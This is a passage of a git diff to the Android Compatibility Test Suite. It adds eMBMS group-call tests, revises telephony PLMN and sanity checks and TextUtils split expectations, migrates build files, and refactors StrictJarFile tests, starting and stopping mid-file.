+     * either defined or undefined; you can't cross the streams.
      */
     @Test
     public void testSanity() throws Exception {
-        if (!isSupported()) return;
-
         final boolean hasCellular = findCellularNetwork() != null;
-        if (!hasCellular) {
+        if (isSupported() && !hasCellular) {
             fail("Device claims to support " + PackageManager.FEATURE_TELEPHONY
                     + " but has no active cellular network, which is required for validation");
+        } else if (!isSupported() && hasCellular) {
+            fail("Device has active cellular network, but claims to not support "
+                    + PackageManager.FEATURE_TELEPHONY);
         }
 
-        if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
-            fail("Device must have a valid default data subId for validation");
+        if (isSupported()) {
+            if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
+                fail("Device must have a valid default data subId for validation");
+            }
         }
     }
 
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index a9bcb39..10efcd3 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -198,6 +198,9 @@
         mTelephonyManager.getCellLocation();
         mTelephonyManager.getSimCarrierId();
         mTelephonyManager.getSimCarrierIdName();
+        mTelephonyManager.getSimPreciseCarrierId();
+        mTelephonyManager.getSimPreciseCarrierIdName();
+        mTelephonyManager.getCarrierIdFromSimMccMnc();
         mTelephonyManager.getSimSerialNumber();
         mTelephonyManager.getSimOperator();
         mTelephonyManager.getSignalStrength();
@@ -207,7 +210,6 @@
         mTelephonyManager.getNetworkOperator();
         mTelephonyManager.getSimCountryIso();
         mTelephonyManager.getVoiceMailAlphaTag();
-        mTelephonyManager.getNeighboringCellInfo();
         mTelephonyManager.isNetworkRoaming();
         mTelephonyManager.getDeviceId();
         mTelephonyManager.getDeviceId(mTelephonyManager.getSlotIndex());
@@ -623,22 +625,12 @@
         }
 
         for(String plmn : plmns) {
-            if (plmn.length() > 6 || plmn.length() < 5) {
-                fail("Invalid Length for PLMN-ID, must be 5 or 6: " + plmn);
-            }
-
-            // A record which is written in the SIM but empty will
-            // be all f's
-            if(android.text.TextUtils.isDigitsOnly(plmn)) {
-                assertTrue(
-                        "PLMNs must be strings of digits 0-9,F! " + plmn,
-                        android.text.TextUtils.isDigitsOnly(plmn));
-            } else {
-                for (char c : plmn.toUpperCase().toCharArray()) {
-                    assertTrue("PLMNs must be strings of digits 0-9,F! " + plmn,
-                            Character.toUpperCase(c) == 'F');
-                }
-            }
+            assertTrue(
+                    "Invalid Length for PLMN-ID, must be 5 or 6! plmn=" + plmn,
+                    plmn.length() >= 5 && plmn.length() <= 6);
+            assertTrue(
+                    "PLMNs must be strings of digits 0-9! plmn=" + plmn,
+                    android.text.TextUtils.isDigitsOnly(plmn));
         }
     }
 
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsGroupCallSessionTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsGroupCallSessionTest.java
new file mode 100644
index 0000000..290d228
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsGroupCallSessionTest.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import android.telephony.MbmsGroupCallSession;
+import android.telephony.cts.embmstestapp.CtsGroupCallService;
+import android.telephony.mbms.GroupCallCallback;
+import android.telephony.mbms.MbmsErrors;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+public class MbmsGroupCallSessionTest extends MbmsGroupCallTestBase {
+    private class NoOpCallback implements GroupCallCallback {
+        @Override
+        public void onError(int errorCode, String message) {
+        }
+
+        @Override
+        public void onGroupCallStateChanged(int state, int reason) {
+        }
+
+        @Override
+        public void onBroadcastSignalStrengthUpdated(int signalStrength) {
+        }
+    }
+
+    public void testDuplicateSession() throws Exception {
+        try {
+            MbmsGroupCallSession failure = MbmsGroupCallSession.create(
+                    mContext, mCallbackExecutor, mCallback);
+            fail("Duplicate create should've thrown an exception");
+        } catch (IllegalStateException e) {
+            // Succeed
+        }
+    }
+
+    public void testClose() throws Exception {
+        mGroupCallSession.close();
+
+        // Make sure we can't use it anymore
+        try {
+            mGroupCallSession.startGroupCall(0, Collections.emptyList(), Collections.emptyList(),
+                    mCallbackExecutor, new NoOpCallback());
+            fail("GroupCall session should not be usable after close");
+        } catch (IllegalStateException e) {
+            // Succeed
+        }
+
+        // Make sure that the middleware got the call to close
+        List<List<Object>> closeCalls = getMiddlewareCalls(CtsGroupCallService.METHOD_CLOSE);
+        assertEquals(1, closeCalls.size());
+    }
+
+    public void testErrorDelivery() throws Exception {
+        mMiddlewareControl.forceErrorCode(
+                MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE);
+        mGroupCallSession.startGroupCall(0, Collections.emptyList(), Collections.emptyList(),
+                mCallbackExecutor, new NoOpCallback());
+        assertEquals(MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE,
+                mCallback.waitOnError().arg1);
+    }
+
+    public void testCallbacks() throws Exception {
+        List<Integer> expectCurrentSais = Arrays.asList(10, 14, 17);
+        List<List<Integer>> expectAvailableSais = new ArrayList<List<Integer>>() {{
+            add(expectCurrentSais);
+            add(Arrays.asList(11, 15, 17));
+        }};
+        mMiddlewareControl.fireAvailableSaisUpdated(expectCurrentSais, expectAvailableSais);
+        SomeArgs callbackResult = mCallback.waitOnAvailableSaisUpdatedCalls();
+        assertEquals(callbackResult.arg1, expectCurrentSais);
+        assertEquals(callbackResult.arg2, expectAvailableSais);
+
+        String interfaceName = "TEST";
+        int index = 10;
+        mMiddlewareControl.fireServiceInterfaceAvailable(interfaceName, index);
+        callbackResult = mCallback.waitOnServiceInterfaceAvailableCalls();
+        assertEquals(interfaceName, callbackResult.arg1);
+        assertEquals(index, callbackResult.arg2);
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsGroupCallTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsGroupCallTest.java
new file mode 100644
index 0000000..8ae0479
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsGroupCallTest.java
@@ -0,0 +1,169 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import android.annotation.Nullable;
+import android.telephony.cts.embmstestapp.CtsGroupCallService;
+import android.telephony.mbms.GroupCallCallback;
+import android.telephony.mbms.MbmsErrors;
+import android.telephony.mbms.GroupCall;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class MbmsGroupCallTest extends MbmsGroupCallTestBase {
+    private class TestGroupCallCallback implements GroupCallCallback {
+        private final BlockingQueue<SomeArgs> mErrorCalls = new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mGroupCallStateChangedCalls=
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mBroadcastSignalStrengthUpdatedCalls =
+                new LinkedBlockingQueue<>();
+
+        @Override
+        public void onError(int errorCode, @Nullable String message) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = errorCode;
+            args.arg2 = message;
+            mErrorCalls.add(args);
+        }
+
+        @Override
+        public void onGroupCallStateChanged(int state, int reason) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = state;
+            args.arg2 = reason;
+            mGroupCallStateChangedCalls.add(args);
+        }
+
+        @Override
+        public void onBroadcastSignalStrengthUpdated(int signalStrength) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = signalStrength;
+            mBroadcastSignalStrengthUpdatedCalls.add(args);
+        }
+
+        public SomeArgs waitOnError() {
+            try {
+                return mErrorCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnGroupCallStateChanged() {
+            try {
+                return mGroupCallStateChangedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnBroadcastSignalStrengthUpdated() {
+            try {
+                return mBroadcastSignalStrengthUpdatedCalls.poll(
+                        ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+    }
+
+    private static final long TMGI = 568734963245L;
+    private static final List<Integer> SAI_LIST = Arrays.asList(16, 24, 46, 76);
+    private static final List<Integer> FREQUENCY_LIST = Arrays.asList(2075, 2050, 1865);
+
+    private TestGroupCallCallback mGroupCallCallback =
+            new TestGroupCallCallback();
+
+    public void testStartGroupCall() throws Exception {
+        GroupCall groupCall = mGroupCallSession.startGroupCall(TMGI, SAI_LIST, FREQUENCY_LIST,
+                mCallbackExecutor, mGroupCallCallback
+        );
+        assertNotNull(groupCall);
+        assertEquals(TMGI, groupCall.getTmgi());
+
+        SomeArgs args = mGroupCallCallback.waitOnGroupCallStateChanged();
+        assertEquals(GroupCall.STATE_STARTED, args.arg1);
+        assertEquals(GroupCall.REASON_BY_USER_REQUEST, args.arg2);
+
+        List<List<Object>> startGroupCallCalls =
+                getMiddlewareCalls(CtsGroupCallService.METHOD_START_GROUP_CALL);
+        assertEquals(1, startGroupCallCalls.size());
+        List<Object> startGroupCallCall = startGroupCallCalls.get(0);
+        assertEquals(TMGI, startGroupCallCall.get(2));
+        assertEquals(SAI_LIST, startGroupCallCall.get(3));
+        assertEquals(FREQUENCY_LIST, startGroupCallCall.get(4));
+    }
+
+    public void testUpdateGroupCall() throws Exception {
+        GroupCall groupCall = mGroupCallSession.startGroupCall(TMGI, SAI_LIST, FREQUENCY_LIST,
+                mCallbackExecutor, mGroupCallCallback
+        );
+        List<Integer> newSais = Collections.singletonList(16);
+        List<Integer> newFreqs = Collections.singletonList(2025);
+        groupCall.updateGroupCall(newSais, newFreqs);
+
+        List<List<Object>> updateGroupCallCalls =
+                getMiddlewareCalls(CtsGroupCallService.METHOD_UPDATE_GROUP_CALL);
+        assertEquals(1, updateGroupCallCalls.size());
+        List<Object> updateGroupCallCall = updateGroupCallCalls.get(0);
+        assertEquals(TMGI, updateGroupCallCall.get(2));
+        assertEquals(newSais, updateGroupCallCall.get(3));
+        assertEquals(newFreqs, updateGroupCallCall.get(4));
+    }
+
+    public void testStopGroupCall() throws Exception {
+        GroupCall groupCall = mGroupCallSession.startGroupCall(TMGI, SAI_LIST, FREQUENCY_LIST,
+                mCallbackExecutor, mGroupCallCallback
+        );
+        groupCall.close();
+        List<List<Object>> stopGroupCallCalls =
+                getMiddlewareCalls(CtsGroupCallService.METHOD_STOP_GROUP_CALL);
+        assertEquals(1, stopGroupCallCalls.size());
+        assertEquals(TMGI, stopGroupCallCalls.get(0).get(2));
+    }
+
+    public void testGroupCallCallbacks() throws Exception {
+        mGroupCallSession.startGroupCall(TMGI, SAI_LIST, FREQUENCY_LIST, mCallbackExecutor,
+                mGroupCallCallback
+        );
+        mMiddlewareControl.fireErrorOnGroupCall(MbmsErrors.GeneralErrors.ERROR_IN_E911,
+                MbmsGroupCallTest.class.getSimpleName());
+        SomeArgs groupCallErrorArgs = mGroupCallCallback.waitOnError();
+        assertEquals(MbmsErrors.GeneralErrors.ERROR_IN_E911, groupCallErrorArgs.arg1);
+        assertEquals(MbmsGroupCallTest.class.getSimpleName(), groupCallErrorArgs.arg2);
+
+        int broadcastSignalStrength = 3;
+        mMiddlewareControl.fireBroadcastSignalStrengthUpdated(broadcastSignalStrength);
+        assertEquals(broadcastSignalStrength,
+                mGroupCallCallback.waitOnBroadcastSignalStrengthUpdated().arg1);
+    }
+
+    public void testStartGroupCallFailure() throws Exception {
+        mMiddlewareControl.forceErrorCode(
+                MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE);
+        mGroupCallSession.startGroupCall(TMGI, SAI_LIST, FREQUENCY_LIST, mCallbackExecutor,
+                mGroupCallCallback
+        );
+        assertEquals(MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE,
+                mCallback.waitOnError().arg1);
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsGroupCallTestBase.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsGroupCallTestBase.java
new file mode 100644
index 0000000..839a090
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsGroupCallTestBase.java
@@ -0,0 +1,169 @@
+package android.telephony.embms.cts;
+
+import android.annotation.Nullable;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.telephony.MbmsGroupCallSession;
+import android.telephony.cts.embmstestapp.CtsGroupCallService;
+import android.telephony.cts.embmstestapp.ICtsGroupCallMiddlewareControl;
+import android.telephony.mbms.MbmsGroupCallSessionCallback;
+import android.test.InstrumentationTestCase;
+
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+public class MbmsGroupCallTestBase extends InstrumentationTestCase {
+    protected static final int ASYNC_TIMEOUT = 10000;
+
+    protected static class TestCallback implements MbmsGroupCallSessionCallback {
+        private final BlockingQueue<SomeArgs> mErrorCalls = new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mOnAvailableSaisUpdatedCalls =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mOnServiceInterfaceAvailableCalls =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mMiddlewareReadyCalls = new LinkedBlockingQueue<>();
+        private int mNumErrorCalls = 0;
+
+        @Override
+        public void onError(int errorCode, @Nullable String message) {
+            mNumErrorCalls += 1;
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = errorCode;
+            args.arg2 = message;
+            mErrorCalls.add(args);
+        }
+
+        @Override
+        public void onMiddlewareReady() {
+            mMiddlewareReadyCalls.add(SomeArgs.obtain());
+        }
+
+        @Override
+        public void onAvailableSaisUpdated(List<Integer> currentSais,
+                List<List<Integer>> availableSais) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = currentSais;
+            args.arg2 = availableSais;
+            mOnAvailableSaisUpdatedCalls.add(args);
+        }
+
+        @Override
+        public void onServiceInterfaceAvailable(String interfaceName, int index) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = interfaceName;
+            args.arg2 = index;
+            mOnServiceInterfaceAvailableCalls.add(args);
+        }
+
+        public SomeArgs waitOnError() {
+            try {
+                return mErrorCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnAvailableSaisUpdatedCalls() {
+            try {
+                return mOnAvailableSaisUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnServiceInterfaceAvailableCalls() {
+            try {
+                return mOnServiceInterfaceAvailableCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public boolean waitOnMiddlewareReady() {
+            try {
+                return mMiddlewareReadyCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS) != null;
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public int getNumErrorCalls() {
+            return mNumErrorCalls;
+        }
+    }
+
+    Context mContext;
+    HandlerThread mHandlerThread;
+    Executor mCallbackExecutor;
+    ICtsGroupCallMiddlewareControl mMiddlewareControl;
+    MbmsGroupCallSession mGroupCallSession;
+    TestCallback mCallback = new TestCallback();
+
+    @Override
+    public void setUp() throws Exception {
+        mContext = getInstrumentation().getContext();
+        mHandlerThread = new HandlerThread("EmbmsCtsTestWorker");
+        mHandlerThread.start();
+        mCallbackExecutor = (new Handler(mHandlerThread.getLooper()))::post;
+        mCallback = new TestCallback();
+        getControlBinder();
+        setupGroupCallSession();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        mHandlerThread.quit();
+        mGroupCallSession.close();
+        mMiddlewareControl.reset();
+    }
+
+    private void setupGroupCallSession() throws Exception {
+        mGroupCallSession = MbmsGroupCallSession.create(
+                mContext, mCallbackExecutor, mCallback);
+        assertNotNull(mGroupCallSession);
+        assertTrue(mCallback.waitOnMiddlewareReady());
+        assertEquals(0, mCallback.getNumErrorCalls());
+        List initializeCall = (List) mMiddlewareControl.getGroupCallSessionCalls().get(0);
+        assertEquals(CtsGroupCallService.METHOD_INITIALIZE, initializeCall.get(0));
+    }
+
+    private void getControlBinder() throws InterruptedException {
+        Intent bindIntent = new Intent(CtsGroupCallService.CONTROL_INTERFACE_ACTION);
+        bindIntent.setComponent(CtsGroupCallService.CONTROL_INTERFACE_COMPONENT);
+        final CountDownLatch bindLatch = new CountDownLatch(1);
+
+        boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                mMiddlewareControl = ICtsGroupCallMiddlewareControl.Stub.asInterface(service);
+                bindLatch.countDown();
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                mMiddlewareControl = null;
+            }
+        }, Context.BIND_AUTO_CREATE);
+        if (!success) {
+            fail("Failed to get control interface -- bind error");
+        }
+        bindLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+    }
+
+    protected List<List<Object>> getMiddlewareCalls(String methodName) throws RemoteException {
+        return ((List<List<Object>>) mMiddlewareControl.getGroupCallSessionCalls()).stream()
+                .filter((elem) -> elem.get(0).equals(methodName))
+                .collect(Collectors.toList());
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/text/src/android/text/cts/TextUtilsTest.java b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
index 0b4f625..323511e 100644
--- a/tests/tests/text/src/android/text/cts/TextUtilsTest.java
+++ b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
@@ -1873,6 +1873,9 @@
 
     @Test
     public void testSplitPattern() {
+        assertEquals(0, TextUtils.split("", Pattern.compile("")).length);
+        assertEquals(0, TextUtils.split("", Pattern.compile("not found")).length);
+
         String testString = "abccbadecdebz";
         assertEquals(calculateCharsCount(testString, "c") + 1,
                 TextUtils.split(testString, Pattern.compile("c")).length);
@@ -1888,8 +1891,9 @@
                 TextUtils.split(testString, Pattern.compile("[a-c]")).length);
         assertEquals(0, TextUtils.split("", Pattern.compile("a")).length);
         // issue 1695243, not clear what is supposed result if the pattern string is empty.
-        assertEquals(testString.length() + 2,
-                TextUtils.split(testString, Pattern.compile("")).length);
+        assertEquals(
+                Arrays.asList("a", "b", "c", "c", "b", "a", "d", "e", "c", "d", "e", "b", "z", ""),
+                Arrays.asList(TextUtils.split(testString, Pattern.compile(""))));
     }
 
     @Test(expected=NullPointerException.class)
@@ -1918,6 +1922,12 @@
 
     @Test
     public void testSplitString() {
+        assertEquals(0, TextUtils.split("", "").length);
+        assertEquals(0, TextUtils.split("", "not found").length);
+
+        // The case mentioned in the documentation.
+        assertEquals(Arrays.asList("a", ""), Arrays.asList(TextUtils.split("a,", ",")));
+
         String testString = "abccbadecdebz";
         assertEquals(calculateCharsCount(testString, "c") + 1,
                 TextUtils.split("abccbadecdebz", "c").length);
@@ -1929,8 +1939,9 @@
                 TextUtils.split("abccbadecdebz", "de").length);
         assertEquals(0, TextUtils.split("", "a").length);
         // issue 1695243, not clear what is supposed result if the pattern string is empty.
-        assertEquals(testString.length() + 2,
-                TextUtils.split("abccbadecdebz", "").length);
+        assertEquals(
+                Arrays.asList("a", "b", "c", "c", "b", "a", "d", "e", "c", "d", "e", "b", "z", ""),
+                Arrays.asList(TextUtils.split("abccbadecdebz", "")));
     }
 
     @Test(expected=NullPointerException.class)
diff --git a/tests/tests/text/src/android/text/format/cts/TimeTest.java b/tests/tests/text/src/android/text/format/cts/TimeTest.java
index 0d9673a..d334855 100644
--- a/tests/tests/text/src/android/text/format/cts/TimeTest.java
+++ b/tests/tests/text/src/android/text/format/cts/TimeTest.java
@@ -2823,6 +2823,13 @@
         Fields.verifyTimeEquals(expected, t);
     }
 
+    @Test
+    public void test_bug118835133() {
+        Time t = new Time("Asia/Singapore");
+        Fields.set(t, 2018, 9, 30, 12, 48, 32, 0 /* isDst */, 0, 0, 0);
+        // With http://b/118835133 toMillis() returns -1.
+        assertEquals(1540874912000L, t.toMillis(true /* ignoreDst */));
+    }
     private static void verifyNormalizeResult(boolean normalizeArgument, Time toNormalize,
             Time expectedTime, long expectedTimeMillis) {
         long actualTimeMillis = toNormalize.normalize(normalizeArgument /* ignore isDst */);
diff --git a/tests/tests/toast/Android.mk b/tests/tests/toast/Android.mk
index bcf7b7e..9ab8465 100644
--- a/tests/tests/toast/Android.mk
+++ b/tests/tests/toast/Android.mk
@@ -29,6 +29,7 @@
 
 LOCAL_PACKAGE_NAME := CtsToastTestCases
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 25
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/toastlegacy/Android.mk b/tests/tests/toastlegacy/Android.mk
index 217fe55..390222d 100644
--- a/tests/tests/toastlegacy/Android.mk
+++ b/tests/tests/toastlegacy/Android.mk
@@ -30,6 +30,7 @@
 
 LOCAL_PACKAGE_NAME := CtsToastLegacyTestCases
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 25
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/uirendering/Android.bp b/tests/tests/uirendering/Android.bp
new file mode 100644
index 0000000..6c8bb8fa
--- /dev/null
+++ b/tests/tests/uirendering/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsUiRenderingTestCases",
+    sdk_version: "test_current",
+
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
+
+    static_libs: [
+        "compatibility-device-util",
+        "ctsdeviceutillegacy",
+        "mockito-target-minus-junit4",
+        "android-support-test",
+    ],
+
+    libs: ["android.test.runner.stubs"],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
\ No newline at end of file
diff --git a/tests/tests/uirendering/Android.mk b/tests/tests/uirendering/Android.mk
deleted file mode 100644
index ec98a0e..0000000
--- a/tests/tests/uirendering/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctsdeviceutillegacy \
-    ctstestrunner \
-    mockito-target-minus-junit4 \
-    android-support-test
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsUiRenderingTestCases
-
-# Enforce public / test api only
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/util/src/android/util/cts/StrictJarFileTest.java b/tests/tests/util/src/android/util/cts/StrictJarFileTest.java
index 3c18df7..2bf9b1f 100644
--- a/tests/tests/util/src/android/util/cts/StrictJarFileTest.java
+++ b/tests/tests/util/src/android/util/cts/StrictJarFileTest.java
@@ -25,22 +25,22 @@
 import android.support.test.InstrumentationRegistry;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
+import android.system.ErrnoException;
+import android.system.Os;
 import android.system.OsConstants;
 import android.util.jar.StrictJarFile;
 
-import libcore.io.IoBridge;
-import libcore.io.Streams;
-
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileDescriptor;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
-import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
 import java.util.HashMap;
 import java.util.Iterator;
 import java.util.zip.ZipEntry;
@@ -91,8 +91,8 @@
     @Test
     public void testConstructor_FD() throws Exception {
         copyFile(JAR_1);
-        FileDescriptor fd = IoBridge.open(
-                new File(mResourcesFile, JAR_1).getAbsolutePath(), OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, JAR_1).getAbsolutePath());
         StrictJarFile jarFile = new StrictJarFile(fd);
         jarFile.close();
     }
@@ -108,8 +108,8 @@
     @Test
     public void testIteration_FD() throws Exception {
         copyFile(JAR_1);
-        FileDescriptor fd = IoBridge.open(
-                new File(mResourcesFile, JAR_1).getAbsolutePath(), OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, JAR_1).getAbsolutePath());
         StrictJarFile jarFile = new StrictJarFile(fd);
         checkIteration(jarFile);
     }
@@ -136,8 +136,7 @@
         assertEquals(4, ze.getSize());
         assertEquals(ZipEntry.DEFLATED, ze.getMethod());
         assertEquals(6, ze.getCompressedSize());
-        assertEquals("Blah", new String(Streams.readFully(jarFile.getInputStream(ze)),
-                Charset.forName("UTF-8")));
+        assertEquals("Blah", readUtf8String(jarFile.getInputStream(ze)));
 
         assertTrue(entries.containsKey("foo/"));
         assertTrue(entries.containsKey("foo/bar/"));
@@ -159,8 +158,8 @@
     @Test
     public void testFindEntry_FD() throws Exception {
         copyFile(JAR_1);
-        FileDescriptor fd = IoBridge.open(
-                new File(mResourcesFile, JAR_1).getAbsolutePath(), OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, JAR_1).getAbsolutePath());
         StrictJarFile jarFile = new StrictJarFile(fd);
         checkFindEntry(jarFile);
     }
@@ -173,8 +172,7 @@
         assertEquals(4, ze.getSize());
         assertEquals(ZipEntry.DEFLATED, ze.getMethod());
         assertEquals(6, ze.getCompressedSize());
-        assertEquals("Blah", new String(Streams.readFully(jarFile.getInputStream(ze)),
-                Charset.forName("UTF-8")));
+        assertEquals("Blah", readUtf8String(jarFile.getInputStream(ze)));
     }
 
     @Test
@@ -188,8 +186,8 @@
     @Test
     public void testGetManifest_FD() throws Exception {
         copyFile(JAR_1);
-        FileDescriptor fd = IoBridge.open(
-                new File(mResourcesFile, JAR_1).getAbsolutePath(), OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, JAR_1).getAbsolutePath());
         StrictJarFile jarFile = new StrictJarFile(fd);
         checkGetManifest(jarFile);
     }
@@ -211,9 +209,8 @@
     @Test
     public void testJarSigning_wellFormed_FD() throws IOException {
         copyFile("Integrate.jar");
-        FileDescriptor fd = IoBridge.open(
-                new File(mResourcesFile, "Integrate.jar").getAbsolutePath(),
-                        OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, "Integrate.jar").getAbsolutePath());
         StrictJarFile jarFile = new StrictJarFile(fd);
         checkJarSigning_wellFormed(jarFile);
     }
@@ -241,9 +238,8 @@
     @Test
     public void testJarSigning_fudgedEntry_FD() throws IOException {
         copyFile("Integrate.jar");
-        FileDescriptor fd = IoBridge.open(
